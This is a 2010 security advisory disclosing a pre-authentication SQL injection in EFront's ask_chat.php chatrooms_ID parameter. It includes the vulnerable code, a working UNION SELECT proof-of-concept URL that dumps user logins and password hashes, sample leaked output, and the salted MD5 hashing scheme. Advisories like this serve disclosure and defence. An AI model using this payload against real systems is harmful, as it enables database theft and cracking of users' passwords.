# MOPS-2010-018: EFront ask_chat chatrooms_ID SQL Injection Vulnerability

May 9th, 2010

A preauth SQL injection vulnerability was discovered in the chat feature of EFront that allows retrieving all data from the database by simple URL manipulation.

### Affected versions

Affected is EFront <= 3.6.2

### Credits

The vulnerability was discovered by Stefan Esser during the Month of PHP Security SQL Injecton Marathon.

### About EFront

The community edition of eFront is a fully flexible eLearning 2.0 system capable of fulfilling a wide range of learning needs. It encompasses the core functionalities of the eFront platform, providing the basis of all eFront editions. We are dedicated on improving and extending this edition of eFront for the years to come.

### Detailed information

This vulnerability was discovered during SQL Injection Marathon a PHP code auditing marathon performed by Stefan Esser. The basic idea of this initiative is to select random PHP applications and perform a short code audit on them. The maximum time spent on each application is 30 minutes and after the first found SQL injection usually the next application is audited.

During SQL Injection Marathon EFront was also audited and within less than 30 minutes it was possible to find a SQL injection vulnerability in the chat functionality. The offending code is located in the file ask_chat.php.

```
if (isset($_GET['chatrooms_ID'])) {
   $chatrooms_ID = $_GET['chatrooms_ID'];
} else ...
...
if (!isset($_POST['chat_message'])) {
   $messages = eF_getTableData("chatmessages", "users_LOGIN, users_USER_TYPE, timestamp, c
   if (sizeof($messages)>0) {
      $new_id = $messages[0]['id'];
   } else {
      $new_id = $last_id;
   }
} else ...
```

Here the URL variable chatrooms_ID is used within a SQL query to retrieve chatmessages. Because the returned chat messages are directly echoed to the user it is trivial to retrieve all data from the database.

### Proof of concept, exploit or instructions to reproduce

The following proof of concept URL retrieves all usernames and hashed passwords from the database.

```
http://efront.audit/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0
```

The output of this request looks like the following example.

```
0 UNION select concat(login,0x2e,password),1,1,1,1 from users -- x||||
admin.41351094527b49a48bfc6b8e5af2b13c||||01 Jan 1970, 01:00:01||||color:green;||||1||||
professor.da18be534843cf9f9edd60c89de6a8e7||||01 Jan 1970, 01:00:01||||color:green;||||1||||
student.04aed36b7da8d1b5d8c892cf91486cdb||||01 Jan 1970, 01:00:01||||color:green;||||1||||
```

The password hash is calculated by EFront with the following algorithm

```
<?php
  $hash = md5($password . 'cDWQR#$Rcxsc');
?>
```

### Notes

This vulnerability was disclosed to the vendor at the same time as the general public.